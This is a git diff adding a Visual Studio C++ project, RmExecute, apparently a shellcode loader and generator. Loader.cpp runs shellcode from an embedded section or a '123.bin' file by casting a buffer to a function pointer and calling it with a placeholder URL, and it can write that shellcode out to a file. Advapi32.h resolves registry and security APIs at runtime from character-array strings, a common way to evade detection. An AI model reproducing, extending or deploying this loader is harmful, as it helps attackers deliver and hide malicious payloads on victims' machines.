zm3qNT!A?#oZ3K$H5k+FTgl%H4#iw{()jb~Gn4SfhV>b=l#I1=*=XgRU*`KDHu&)A} zh19vK6L;{=n+b5E>P@iH5xjCII0a^1T!=h^Xi&I!hwd$gy-3gr^Z-hk*H%TlloqhRL;~p6Oisec=K7vb&ya1@jNmBBnnY?KRNw^AmfMECF+XH?{c2 z1q^XIKbZ%|R$C))e(kEnF?uYKfwEAZB=zUHj)j{mi{TY;2)4>p>i$cW&K8iWqBxc2z(KA*+kZ*b+mIlWrYHKcXmv1v# z9xsi+?Of8Es-^zIUr<7EA8QxptDaeH?L(MwnT*hnhjhYXD)lL<}z2H#IjdZE3h2INP-{9JE zwl~gF{m4QBZr9T{RGu1{F;OfoR_^q+%1<}~{;Ow&?=?&Pd(tP_&4J=}Nv-X5mDrBXDhP{J0E>f*$ zs#C`3|h&Eg@UIyZJr@Fe871Qtz4?plk=#;UKHTU70RAa%^?Y2Tv%_afT`V%WQ zy4k3i6&W1-)cI({vY2!XYZNag44XJE2_U>r$S2!IY!NkEsxq7)~JH9YJ7g0Qm7(Q|`Lti5wGznOI(+pwT0 z1!awNeOh7_UsjuACSm2!GYp?5A>KE?0RG6I!DquDH{@zf??QwvI^@ZujF)Q#58u4J zZ$~-+B3@t(LYJ+3kZ&@XI^BpWjuUzDCk~x6zQj~$^K}>id%u#X2<(krmmo~2Rc_gC zJr}y=tBQSc@5gIT+=A#)5BL$W-}M&_7y}Hu5NtC z{jlAnKJ3s|B11Teqs)AcuvNR_otWllb+4E0=y8yy9EQ&7wkK5$hf4#e&39*RN|?gO z37ZLynNIKbv#VuXy4IHhMwWlXLe0@Wee;5yQv*yVcDcil{Dr75B9AW!d<^77c|PVn z?)yKqRX<>U9O7GwlUy+EI1aG4fus>m)Ns}9Zp+^!K9C@A0O}~n+mD{_bmpR zhkWC{eR3y=5g->`A!>J7>|JJ_vv@I%Klhdz*GV1-xgUqP?4cu@S$6R4b_OZQ$zjT( zr~9NXrj^xmHD~-@N?G@S+v3|;Wqz=(vSqJ@l3OWzxIjRDW6iCv|4=s~wE> z^B+R`VFY}vrv!$UN9`ZPkbdewXU3nY2(jI>nN9fHhTW$`7)b7=eTPHtWnStr)4 z3#sS}67N@`Jmm;oc4gw*(MQuKu?mxK`_1Aptvbb|d4=;Y^gjO=$h~3hc6G+hT~67PaNX@=KH3URkUHsE+T04Q6)*~jr~bGUZepx-&`+`vIy zyzgv5Am{Mtrp5b>mrVjNOHA?{n1k%gPHKaOUiDKwL;!;nv>v%%JB~X$6&n8hS#yv6 ztU+i8;<)85aEM#Ei#EBK>^H?u9@$W55uo{t8XA5%T^eK99^b6_j61{Z%zEdYuy!73 z%Qe&Wc_U`?<*Blcnggpqq>7|TlkS0nf@~bk51k@ZM0Zm*mfx*#_5cto;?y+Uk*|3Ojj*}B$^-s_^}VTpeuAf-r8Z99)UQ3b5X zpML>CK7RYu<^AFhBfJV_TaStA4~5u(sT6nll*@Zr>%CUpLFX+ZWCGVXmy@#}Pd+lw zFLRD6>sM5YP{gptV#QGIQ6dTslg;Xv$g8@#^78A&6j48|tlzJ9!2@Rg=)g?1`L)~wT*7JH-GiffRYridu2 zL#K`oT}ZF=>ybg~ob?s>`1#)=H&U(I;)63jxoqha>RuSTIB1-0)%QTIt%LZQlbb|; zgK}jE0`wA{cmHWO7Xv=W{2LQx_5+?reK;on$>r;Tzc8>o8l)@$0DP?Z7a6$q$ing< z-@~|{uh&_HKz4WVatgToo9%pz>C~liezdCvCJTN=a-NRM`|j}FmER~&uHOZC?o_f* z#zg6-HrjNr0M7%n)OdF}u~A|h=^Z~5(mJnbfnEQ?3S2DjtLR5A4jhBOA>=4XR0I!k zycj>x?s@~hPX(XxMe5IH_j&0A-RJ$b)L~b|%Msj>ld*Th?&pFW6gb_fW@&a~iJVAO zDK`h1D!l#lWMpVN=3QtqX}xw4f#H?D?_K-pdem`IHm@xFi<)5M)2FW;f-!ozo*UFv zN!LX|C&#a|R-?NBEv0vu*6F<4y$cap6u~wsUPjsU5Z~Py@vtHL&;TFK%lG1A7kWN4 zDZZOq0Cyhc|FtuA`f|7bxOEK$TkeoR1b1&-Jk=j?ye4j9Wz!(SeW69A{%H+V3y5Wh zu1mUF;L=_k+4~y+0Lx;lG@m&g6*@AJ4}_*rX2g4)~h(9 zc5kFG0{4w<)e6;x$XGdrGs;}m%JW@ECqvjD1CVGL2esvAIrcP)2RCx4Z@4B`Q42aO zhf0QvY5@QvBE^yyMT6v6!&;R;8+P;^@X* zB!pih)yEZFb*}`~pFMuQ?(UCRTI8O4H33V+f_MSWJgHSWIZq$y#cX<=QAzzAvf$Qc9b~sTP z?@%ih}ZqOrEK?kBb#(lapsl5PSt z&NVFVSwy7*a4E=u{C&%~brUw1RH||}6S>7yvi;!`KA$h=GHPyhBau%h42Lyq_{|L* z#{aPb?N@dr(wI6SI&}kO)(z~O-8~KaDgdhwc9spg&yl}H^3tzpaujs#^qJ(+AcR9( zza~&{$k(N-Gh8amE0I56w zUT#3hF8o(+m=9QQQ~^2vtTSzRqM2v)r<^{8435_I`-&_CL%!~ohu zmoJFw)wm4Xx?eMSGi&IN2GTzMmR|IN`ruF3fzk1wXjM%`kMHrv5bRbhOZ8vO@287( ziGGkaCU!=kcK_ed|KY0Q4)jO;xdZ*eH~$Ix$2|TM`p1OT1d=06H)&SpWSoL1b`1Av zoOL2!tw%E%7&fXl@ik%=*3at?csRfAW<8hfhDG$|er+~zX;k(&bK@azXLmP#7}neQ z$bn}ys~~U8QXn9OF+;8WJJ4U9Gd#bmrT0!o%Q?Rs%1MnFxnNNvu-;8F;O&^f*nbDxJxVUNC*3Aw$;lr5W5W6sDYj%ZWKxZ~_@id)@f8Za zJk@BFVH4!sO)V-mhd-a5cxGde(!Fl;4Q)W0o0nS*v2v={uL#b0tfZyLpB(%EGS(8_ z)1@o5{j_b?icoKLNm9gjc>V&vpB|W85U$LR^{XTxk6^qlvS03bjx715AumY^xa;qT z1rh)7RnrjFIYAuxmEt=OF9%~V-3gyjJaemY!Hzs57%ci}!7RAWV$7kjO<{>Q{AOe< zzqV57!N=4OvC1GpB(65bkUfDv^Az-X*^N~okG+>PgqZ^%A{!L|A*!EA#5G*3#vS#|zx@7=o&PN*kHd z3}paUW^<5m4zJ*6>PkxOEVlk>pa9Aw7d<3t7x{G;K5KO+i4r*W^guC`)-(s+#S4}& zM~nA14xF+AulMcacxFg}?Rk@XHKu0@`X$D%tXt@Rn2Qt#j!d35lc|AN>eg_sbv>B* zt4e{+*f1Gh7mX(>h)NSrx;3o54~S;-ZiPWKNe(VuuNu-K<-mppD2A~A8S{ZDtkY!> zI8Pxxa5Q1DBz4*=APV;Y=i6K}V^U`KOh7v5U>^_`#w23(auo?bQ{&}U`sqvWhJb4f zd3d&LLNl`W;pLTb2Gq$E12YXfW3I$MLe{adHu%5&V18cd*aAP4>rue_@DL2x`erS0 zigt?PenG*=c)*$X_8;-{ss77DCuqich~fI+1C6yvok2b N%=p%|(yRAh{s&gM_yqs} literal 0 HcmV?d00001 diff --git a/RmExecute.sln b/RmExecute.sln new file mode 100644 index 0000000..96276f6 --- /dev/null +++ b/RmExecute.sln @@ -0,0 +1,37 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.30907.101 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "RmExecute", "RmExecute\RmExecute.vcxproj", "{17B77F7B-8A2C-49AE-926A-1D1E5383BD1C}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + RUN_EXE_MT|x64 = RUN_EXE_MT|x64 + RUN_EXE_MT|x86 = RUN_EXE_MT|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {17B77F7B-8A2C-49AE-926A-1D1E5383BD1C}.Debug|x64.ActiveCfg = Debug|x64 + {17B77F7B-8A2C-49AE-926A-1D1E5383BD1C}.Debug|x64.Build.0 = Debug|x64 + {17B77F7B-8A2C-49AE-926A-1D1E5383BD1C}.Debug|x86.ActiveCfg = Debug|Win32 + {17B77F7B-8A2C-49AE-926A-1D1E5383BD1C}.Debug|x86.Build.0 = Debug|Win32 + {17B77F7B-8A2C-49AE-926A-1D1E5383BD1C}.Release|x64.ActiveCfg = Release|x64 + {17B77F7B-8A2C-49AE-926A-1D1E5383BD1C}.Release|x64.Build.0 = Release|x64 + {17B77F7B-8A2C-49AE-926A-1D1E5383BD1C}.Release|x86.ActiveCfg = Release|Win32 + {17B77F7B-8A2C-49AE-926A-1D1E5383BD1C}.Release|x86.Build.0 = Release|Win32 + {17B77F7B-8A2C-49AE-926A-1D1E5383BD1C}.RUN_EXE_MT|x64.ActiveCfg = RUN_EXE_MT|x64 + {17B77F7B-8A2C-49AE-926A-1D1E5383BD1C}.RUN_EXE_MT|x64.Build.0 = RUN_EXE_MT|x64 + {17B77F7B-8A2C-49AE-926A-1D1E5383BD1C}.RUN_EXE_MT|x86.ActiveCfg = RUN_EXE_MT|Win32 + {17B77F7B-8A2C-49AE-926A-1D1E5383BD1C}.RUN_EXE_MT|x86.Build.0 = RUN_EXE_MT|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {A0AD0DA4-C5DF-4477-8B1F-B4BAFD5BC54A} + EndGlobalSection +EndGlobal diff --git a/RmExecute/Advapi32.h b/RmExecute/Advapi32.h new file mode 100644 index 0000000..4215623 --- /dev/null +++ b/RmExecute/Advapi32.h @@ -0,0 +1,370 @@ + + +//רŵAdvapi32.dllеϵͳAPI +class Advapi32 :BaseInclude +{ +#define Advapi32_EXTEND_H win.advapi32 +#define Advapi32_DEF(x) if (!Advapi32Base)GetAdvapi32();if (!g_##x##)Init_##x##(); +public: + HMODULE Advapi32Base = 0;//Shell32.dllģַ + +public: + typedef LSTATUS(WINAPI* fnRegCreateKeyExA)( + _In_ HKEY hKey, + _In_ LPCSTR lpSubKey, + _Reserved_ DWORD Reserved, + _In_opt_ LPSTR lpClass, + _In_ DWORD dwOptions, + _In_ REGSAM samDesired, + _In_opt_ CONST LPSECURITY_ATTRIBUTES lpSecurityAttributes, + _Out_ PHKEY phkResult, + _Out_opt_ LPDWORD lpdwDisposition + ); + fnRegCreateKeyExA g_RegCreateKeyExA = 0; + + + typedef LSTATUS(WINAPI* fnRegSetValueExA)( + _In_ HKEY hKey, + _In_opt_ LPCSTR lpValueName, + _Reserved_ DWORD Reserved, + _In_ DWORD dwType, + _In_reads_bytes_opt_(cbData) CONST BYTE * lpData, + _In_ DWORD cbData + ); + fnRegSetValueExA g_RegSetValueExA = 0; + + typedef LSTATUS(WINAPI* fnRegCloseKey)( + _In_ HKEY hKey + ); + fnRegCloseKey g_RegCloseKey = 0; + + + typedef LSTATUS(WINAPI* fnRegOpenKeyExA)( + _In_ HKEY hKey, + _In_opt_ LPCSTR lpSubKey, + _In_opt_ DWORD ulOptions, + _In_ REGSAM samDesired, + _Out_ PHKEY phkResult + ); + fnRegOpenKeyExA g_RegOpenKeyExA = 0; + + + typedef LSTATUS(WINAPI* fnRegEnumKeyExA)( + _In_ HKEY hKey, + _In_ DWORD dwIndex, + _Out_writes_to_opt_(*lpcchName, *lpcchName + 1) LPSTR lpName, + _Inout_ LPDWORD lpcchName, + _Reserved_ LPDWORD lpReserved, + _Out_writes_to_opt_(*lpcchClass, *lpcchClass + 1) LPSTR lpClass, + _Inout_opt_ LPDWORD lpcchClass, + _Out_opt_ PFILETIME lpftLastWriteTime + ); + fnRegEnumKeyExA g_RegEnumKeyExA = 0; + + typedef BOOL(WINAPI* fnLookupAccountNameA)( + _In_opt_ LPCTSTR lpSystemName, + _In_ LPCTSTR lpAccountName, + _Out_opt_ PSID Sid, + _Inout_ LPDWORD cbSid, + _Out_opt_ LPTSTR ReferencedDomainName, + _Inout_ LPDWORD cchReferencedDomainName, + _Out_ PSID_NAME_USE peUse + ); + fnLookupAccountNameA g_LookupAccountNameA = 0; + + typedef BOOL(WINAPI* fnGetFileSecurityA)( + _In_ LPCSTR lpFileName, + _In_ SECURITY_INFORMATION RequestedInformation, + _Out_writes_bytes_to_opt_(nLength, *lpnLengthNeeded) PSECURITY_DESCRIPTOR pSecurityDescriptor, + _In_ DWORD nLength, + _Out_ LPDWORD lpnLengthNeeded + ); + fnGetFileSecurityA g_GetFileSecurityA = 0; + + typedef BOOL(WINAPI* fnGetSecurityDescriptorDacl)( + _In_ PSECURITY_DESCRIPTOR pSecurityDescriptor, + _Out_ LPBOOL lpbDaclPresent, + _Outptr_ PACL * pDacl, + _Out_ LPBOOL lpbDaclDefaulted + ); + fnGetSecurityDescriptorDacl g_GetSecurityDescriptorDacl = 0; + + typedef BOOL(WINAPI* fnGetAclInformation)( + _In_ PACL pAcl, + _Out_writes_bytes_(nAclInformationLength) LPVOID pAclInformation, + _In_ DWORD nAclInformationLength, + _In_ ACL_INFORMATION_CLASS dwAclInformationClass + ); + fnGetAclInformation g_GetAclInformation = 0; + + typedef BOOL(WINAPI* fnGetAce)( + _In_ PACL pAcl, + _In_ DWORD dwAceIndex, + _Outptr_ LPVOID * pAce + ); + fnGetAce g_GetAce = 0; + + typedef BOOL(WINAPI* fnEqualSid)( + _In_ PSID pSid1, + _In_ PSID pSid2 + ); + fnEqualSid g_EqualSid = 0; + + typedef BOOL(WINAPI* fnGetUserNameA)( + _Out_writes_to_opt_(*pcbBuffer, *pcbBuffer) LPSTR lpBuffer, + _Inout_ LPDWORD pcbBuffer + ); + fnGetUserNameA g_GetUserNameA = 0; + + +public: + Advapi32() + { + } + + void GetAdvapi32()//ʼԤõĺƫƣShellExecuteA + { + char Advapi32[] = { 'A', 'd', 'v', 'a', 'p', 'i', '3', '2', '.', 'd', 'l', 'l', '\0' }; + Advapi32Base = fLoadLibraryA(Advapi32); + } + + //APIѰַ +public: + + void __stdcall Init_RegCreateKeyExA() + { + char szRegCreateKeyExA[16] = { 'R', 'e', 'g', 'C', 'r', 'e', 'a', 't', 'e', 'K', 'e', 'y', 'E', 'x', 'A', 0 }; + g_RegCreateKeyExA = (fnRegCreateKeyExA)fGetProcAddress(Advapi32Base, szRegCreateKeyExA); + } + LSTATUS + APIENTRY + RegCreateKeyExA( + _In_ HKEY hKey, + _In_ LPCSTR lpSubKey, + _Reserved_ DWORD Reserved, + _In_opt_ LPSTR lpClass, + _In_ DWORD dwOptions, + _In_ REGSAM samDesired, + _In_opt_ CONST LPSECURITY_ATTRIBUTES lpSecurityAttributes, + _Out_ PHKEY phkResult, + _Out_opt_ LPDWORD lpdwDisposition + ) + { + Advapi32_DEF(RegCreateKeyExA); + return g_RegCreateKeyExA(hKey, lpSubKey, Reserved, lpClass, dwOptions, samDesired, lpSecurityAttributes, phkResult, lpdwDisposition); + } + + void __stdcall Init_RegSetValueExA() + { + char szRegSetValueExA[15] = { 'R', 'e', 'g', 'S', 'e', 't', 'V', 'a', 'l', 'u', 'e', 'E', 'x', 'A', 0 }; + g_RegSetValueExA = (fnRegSetValueExA)fGetProcAddress(Advapi32Base, szRegSetValueExA); + } + LSTATUS + APIENTRY + RegSetValueExA( + _In_ HKEY hKey, + _In_opt_ LPCSTR lpValueName, + _Reserved_ DWORD Reserved, + _In_ DWORD dwType, + _In_reads_bytes_opt_(cbData) CONST BYTE * lpData, + _In_ DWORD cbData + ) + { + Advapi32_DEF(RegSetValueExA); + return g_RegSetValueExA(hKey, lpValueName, Reserved, dwType, lpData, cbData); + } + + void __stdcall Init_RegCloseKey() + { + char szRegCloseKey[12] = { 'R', 'e', 'g', 'C', 'l', 'o', 's', 'e', 'K', 'e', 'y', 0 }; + g_RegCloseKey = (fnRegCloseKey)fGetProcAddress(Advapi32Base, szRegCloseKey); + } + LSTATUS + APIENTRY + RegCloseKey( + _In_ HKEY hKey + ) + { + Advapi32_DEF(RegCloseKey); + return g_RegCloseKey(hKey); + } + + void __stdcall Init_RegOpenKeyExA() + { + char szRegOpenKeyExA[14] = { 'R', 'e', 'g', 'O', 'p', 'e', 'n', 'K', 'e', 'y', 'E', 'x', 'A', 0 }; + g_RegOpenKeyExA = (fnRegOpenKeyExA)fGetProcAddress(Advapi32Base, szRegOpenKeyExA); + } + LSTATUS + APIENTRY + RegOpenKeyExA( + _In_ HKEY hKey, + _In_opt_ LPCSTR lpSubKey, + _In_opt_ DWORD ulOptions, + _In_ REGSAM samDesired, + _Out_ PHKEY phkResult + ) + { + Advapi32_DEF(RegOpenKeyExA); + return g_RegOpenKeyExA(hKey, lpSubKey, ulOptions, samDesired, phkResult); + } + + void __stdcall Init_RegEnumKeyExA() + { + char szRegEnumKeyExA[14] = { 'R', 'e', 'g', 'E', 'n', 'u', 'm', 'K', 'e', 'y', 'E', 'x', 'A', 0 }; + g_RegEnumKeyExA = (fnRegEnumKeyExA)fGetProcAddress(Advapi32Base, szRegEnumKeyExA); + } + LSTATUS + APIENTRY + RegEnumKeyExA( + _In_ HKEY hKey, + _In_ DWORD dwIndex, + _Out_writes_to_opt_(*lpcchName, *lpcchName + 1) LPSTR lpName, + _Inout_ LPDWORD lpcchName, + _Reserved_ LPDWORD lpReserved, + _Out_writes_to_opt_(*lpcchClass, *lpcchClass + 1) LPSTR lpClass, + _Inout_opt_ LPDWORD lpcchClass, + _Out_opt_ PFILETIME lpftLastWriteTime + ) + { + Advapi32_DEF(RegEnumKeyExA); + return g_RegEnumKeyExA(hKey, dwIndex, lpName, lpcchName, lpReserved, lpClass, lpcchClass, lpftLastWriteTime); + } + + void __stdcall Init_LookupAccountNameA() + { + char szLookupAccountNameA[19] = { 'L', 'o', 'o', 'k', 'u', 'p', 'A', 'c', 'c', 'o', 'u', 'n', 't', 'N', 'a', 'm', 'e','A', 0 }; + g_LookupAccountNameA = (fnLookupAccountNameA)fGetProcAddress(Advapi32Base, szLookupAccountNameA); + } + BOOL + WINAPI + LookupAccountNameA( + _In_opt_ LPCTSTR lpSystemName, + _In_ LPCTSTR lpAccountName, + _Out_opt_ PSID Sid, + _Inout_ LPDWORD cbSid, + _Out_opt_ LPTSTR ReferencedDomainName, + _Inout_ LPDWORD cchReferencedDomainName, + _Out_ PSID_NAME_USE peUse + ) + { + Advapi32_DEF(LookupAccountNameA); + return g_LookupAccountNameA(lpSystemName, lpAccountName, Sid, cbSid, ReferencedDomainName, cchReferencedDomainName, peUse); + } + + void __stdcall Init_GetFileSecurityA() + { + char szGetFileSecurityA[18] = { 'G', 'e', 't', 'F', 'i', 'l', 'e', 'S', 'e', 'c', 'u', 'r', 'i', 't', 'y', 'A', 0 }; + g_GetFileSecurityA = (fnGetFileSecurityA)fGetProcAddress(Advapi32Base, szGetFileSecurityA); + } + BOOL + WINAPI + GetFileSecurityA( + _In_ LPCSTR lpFileName, + _In_ SECURITY_INFORMATION RequestedInformation, + _Out_writes_bytes_to_opt_(nLength, *lpnLengthNeeded) PSECURITY_DESCRIPTOR pSecurityDescriptor, + _In_ DWORD nLength, + _Out_ LPDWORD lpnLengthNeeded + ) + { + Advapi32_DEF(GetFileSecurityA); + return g_GetFileSecurityA(lpFileName, RequestedInformation, pSecurityDescriptor, nLength, lpnLengthNeeded); + } + + void __stdcall Init_GetSecurityDescriptorDacl() + { + char szGetSecurityDescriptorDacl[26] = { 'G', 'e', 't', 'S', 'e', 'c', 'u', 'r', 'i', 't', 'y', 'D', 'e', 's', 'c', 'r', 'i', 'p', 't', 'o', 'r', 'D', 'a', 'c', 'l', 0 }; + g_GetSecurityDescriptorDacl = (fnGetSecurityDescriptorDacl)fGetProcAddress(Advapi32Base, szGetSecurityDescriptorDacl); + } + BOOL + WINAPI + GetSecurityDescriptorDacl( + _In_ PSECURITY_DESCRIPTOR pSecurityDescriptor, + _Out_ LPBOOL lpbDaclPresent, + _Outptr_ PACL * pDacl, + _Out_ LPBOOL lpbDaclDefaulted + ) + { + Advapi32_DEF(GetSecurityDescriptorDacl); + return g_GetSecurityDescriptorDacl(pSecurityDescriptor, lpbDaclPresent, pDacl, lpbDaclDefaulted); + } + + void __stdcall Init_GetAclInformation() + { + char szGetAclInformation[18] = { 'G', 'e', 't', 'A', 'c', 'l', 'I', 'n', 'f', 'o', 'r', 'm', 'a', 't', 'i', 'o', 'n', 0 }; + g_GetAclInformation = (fnGetAclInformation)fGetProcAddress(Advapi32Base, szGetAclInformation); + } + BOOL + WINAPI + GetAclInformation( + _In_ PACL pAcl, + _Out_writes_bytes_(nAclInformationLength) LPVOID pAclInformation, + _In_ DWORD nAclInformationLength, + _In_ ACL_INFORMATION_CLASS dwAclInformationClass + ) + { + Advapi32_DEF(GetAclInformation); + return g_GetAclInformation(pAcl, pAclInformation, nAclInformationLength, dwAclInformationClass); + } + + void __stdcall Init_GetAce() + { + char szGetAce[7] = { 'G', 'e', 't', 'A', 'c', 'e', 0 }; + g_GetAce = (fnGetAce)fGetProcAddress(Advapi32Base, szGetAce); + } + BOOL + WINAPI + GetAce( + _In_ PACL pAcl, + _In_ DWORD dwAceIndex, + _Outptr_ LPVOID * pAce + ) + { + Advapi32_DEF(GetAce); + return g_GetAce(pAcl, dwAceIndex, pAce); + } + + void __stdcall Init_EqualSid() + { + char szEqualSid[9] = { 'E', 'q', 'u', 'a', 'l', 'S', 'i', 'd', 0 }; + g_EqualSid = (fnEqualSid)fGetProcAddress(Advapi32Base, szEqualSid); + } + BOOL + WINAPI + EqualSid( + _In_ PSID pSid1, + _In_ PSID pSid2 + ) + { + Advapi32_DEF(EqualSid); + return g_EqualSid(pSid1, pSid2); + } + + void __stdcall Init_GetUserNameA() + { + char szGetUserNameA[14] = { 'G', 'e', 't', 'U', 's', 'e', 'r', 'N', 'a', 'm', 'e', 'A', 0 }; + g_GetUserNameA = (fnGetUserNameA)fGetProcAddress(Advapi32Base, szGetUserNameA); + } + BOOL + WINAPI + GetUserNameA( + _Out_writes_to_opt_(*pcbBuffer, *pcbBuffer) LPSTR lpBuffer, + _Inout_ LPDWORD pcbBuffer + ) + { + Advapi32_DEF(GetUserNameA); + return g_GetUserNameA(lpBuffer, pcbBuffer); + } + +#define GetUserNameA Advapi32_EXTEND_H.GetUserNameA +#define EqualSid Advapi32_EXTEND_H.EqualSid +#define GetAce Advapi32_EXTEND_H.GetAce +#define GetAclInformation Advapi32_EXTEND_H.GetAclInformation +#define GetSecurityDescriptorDacl Advapi32_EXTEND_H.GetSecurityDescriptorDacl +#define GetFileSecurityA Advapi32_EXTEND_H.GetFileSecurityA +#define LookupAccountNameA Advapi32_EXTEND_H.LookupAccountNameA +#define RegEnumKeyExA Advapi32_EXTEND_H.RegEnumKeyExA +#define RegOpenKeyExA Advapi32_EXTEND_H.RegOpenKeyExA +#define RegCloseKey Advapi32_EXTEND_H.RegCloseKey +#define RegSetValueExA Advapi32_EXTEND_H.RegSetValueExA +#define RegCreateKeyExA Advapi32_EXTEND_H.RegCreateKeyExA +}; \ No newline at end of file diff --git a/RmExecute/Loader.cpp b/RmExecute/Loader.cpp new file mode 100644 index 0000000..6820815 --- /dev/null +++ b/RmExecute/Loader.cpp @@ -0,0 +1,155 @@ +// RcDllShelcode.cpp : ̨Ӧóڵ㡣 +// + +#include "stdafx.h" +#include +#include"ShellCode.h" +#pragma warning(disable:4996) +//#pragma comment(linker, "/section:.data,RWE") + +DWORD ReadFileData(char *szFilePath, char *pBuf) +{ + DWORD dwBytesRead; + HANDLE hFile; + + hFile = CreateFile(szFilePath, GENERIC_READ, FILE_SHARE_READ, NULL, + OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + + if (hFile == INVALID_HANDLE_VALUE) + { + return 0; + } + + DWORD dwFileSize = GetFileSize(hFile, 0); + if (dwFileSize == 0) + { + CloseHandle(hFile); + return 0; + } + + ReadFile(hFile, pBuf, dwFileSize, &dwBytesRead, NULL); + CloseHandle(hFile); + return dwFileSize; +} +DWORD GetFileSizeLen(char *szSource) +{ + + HANDLE hFile; + + hFile = CreateFile(szSource, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + + if (hFile == INVALID_HANDLE_VALUE) + { + MessageBoxA(NULL, "ļδҵ", NULL, NULL); + return 0; + } + + DWORD dwFileSize = GetFileSize(hFile, 0); + if (dwFileSize == 0) + { + MessageBoxA(NULL, "ļΪ㣡", NULL, NULL); + CloseHandle(hFile); + return 0; + } + CloseHandle(hFile); + return dwFileSize; +} + + +#ifndef RUNEXEMT +void RunShellCode() +{ + int dwShellCodeLen = (int)mmLoaderSCEnd - (int)mmLoaderSCStart; + + void* shellcodeEnter = mmLoaderSCStart; + typedef void(WINAPI* fnFun)( + char* + ); + char URL[] = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxx"; + fnFun Shellcode = (fnFun)(shellcodeEnter); + Shellcode(URL); + +} +#else + +void RunShellCode() +{ + + char shelname[] = "123.bin"; + + DWORD filelen = GetFileSizeLen(shelname); + char *filebuf = new char[filelen]; + ReadFileData(shelname, filebuf); + + char URL[] = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxx"; + + typedef void(WINAPI* fnFun)( + char* + ); + + fnFun Shellcode = (fnFun)(filebuf); + Shellcode(URL); + +} +#endif + + +/* +Shelocdeд,ȡ, + +Debugģʽ£ԱдshelcodeǷ + +ReleaseģʽΪȡshelcodeȡĶǿֱcallĻ + +RUN_EXE_MT Ϊõexe +*/ +#ifdef RUNEXEMT +/* +int APIENTRY _tWinMain(_In_ HINSTANCE hInstance, + _In_opt_ HINSTANCE hPrevInstance, + _In_ LPTSTR lpCmdLine, + _In_ int nCmdShow) +{ +*/ +int _tmain(int argc, _TCHAR* argv[]) +{ +#else + +int _tmain(int argc, _TCHAR* argv[]) +{ +#endif + + +#ifdef _DEBUG + + + RunShellCode(); + + return 0; +#else +//üӽܵĿ +// #define RC4_EN + + // + int dwShellCodeLen = (int)mmLoaderSCEnd - (int)mmLoaderSCStart; + + void * shellcodeEnter =mmLoaderSCStart; + + + //shellcodeļ + FILE *fp; + fp = fopen("123.bin", "w+b"); + if (fp) + { +#ifdef RC4_EN + fwrite(shellcodeEnter, (dwShellCodeLen + sizeof(s_flag)*2), 1, fp); +#else + fwrite(shellcodeEnter, dwShellCodeLen, 1, fp); +#endif + fclose(fp); + } + + return 0; +#endif +} + diff --git a/RmExecute/RUN_EXE_MT/RcDllShelcode.exe.recipe b/RmExecute/RUN_EXE_MT/RcDllShelcode.exe.recipe new file mode 100644 index 0000000..7fa831b --- /dev/null +++ b/RmExecute/RUN_EXE_MT/RcDllShelcode.exe.recipe @@ -0,0 +1,11 @@ + + + + + C:\Users\admin\Desktop\RcDllShelcode\RUN_EXE_MT\RcDllShelcode.exe + + + + + + \ No newline at end of file diff --git a/RmExecute/RUN_EXE_MT/RcDllShelcode.vcxproj.FileListAbsolute.txt b/RmExecute/RUN_EXE_MT/RcDllShelcode.vcxproj.FileListAbsolute.txt new file mode 100644 index 0000000..e69de29 diff --git a/RmExecute/RUN_EXE_MT/RmExecute.exe.recipe b/RmExecute/RUN_EXE_MT/RmExecute.exe.recipe new file mode 100644 index 0000000..03cf3a8 --- /dev/null +++ b/RmExecute/RUN_EXE_MT/RmExecute.exe.recipe @@ -0,0 +1,11 @@ + + + + + C:\Users\admin\Desktop\RcDllShelcode\RUN_EXE_MT\RmExecute.exe + + + + + + \ No newline at end of file diff --git a/RmExecute/RUN_EXE_MT/RmExecute.vcxproj.FileListAbsolute.txt b/RmExecute/RUN_EXE_MT/RmExecute.vcxproj.FileListAbsolute.txt new file mode 100644 index 0000000..e69de29 diff --git a/RmExecute/RmExecute.vcxproj b/RmExecute/RmExecute.vcxproj new file mode 100644 index 0000000..07df817 --- /dev/null +++ b/RmExecute/RmExecute.vcxproj @@ -0,0 +1,178 @@ + + + + + Debug + Win32 + + + Debug + x64 + + + Release + Win32 + + + Release + x64 + + + RUN_EXE_MT + Win32 + + + RUN_EXE_MT + x64 + + + + {17B77F7B-8A2C-49AE-926A-1D1E5383BD1C} + Win32Proj + RcDllShelcode + RmExecute + + + + Application + true + v142 + MultiByte + false + + + Application + true + v142 + MultiByte + Static + + + Application + false + v142 + true + MultiByte + Static + + + v142 + + + v142 + + + v142 + + + + + + + + + + + + + + + + false + + + false + + + false + + + + + + Level3 + _CRT_SECURE_NO_WARNINGS;WIN32;_DEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions) + false + MultiThreaded + Default + /Gs32768 %(AdditionalOptions) + + + Console + true + false + true + /SAFESEH:NO %(AdditionalOptions) + kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies) + + + AsInvoker + + + + + + + Level3 + RUNEXEMT;_CRT_SECURE_NO_WARNINGS;WIN32;_DEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions) + false + MultiThreaded + Default + /Gs32768 %(AdditionalOptions) + MaxSpeed + None + Neither + + + Console + false + false + true + /SAFESEH:NO %(AdditionalOptions) + kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;msvcrt.lib;%(AdditionalDependencies) + + + AsInvoker + + + + + Level3 + + + MaxSpeed + true + WIN32;NDEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions) + MultiThreaded + true + false + Speed + true + false + false + None + /Gs32768 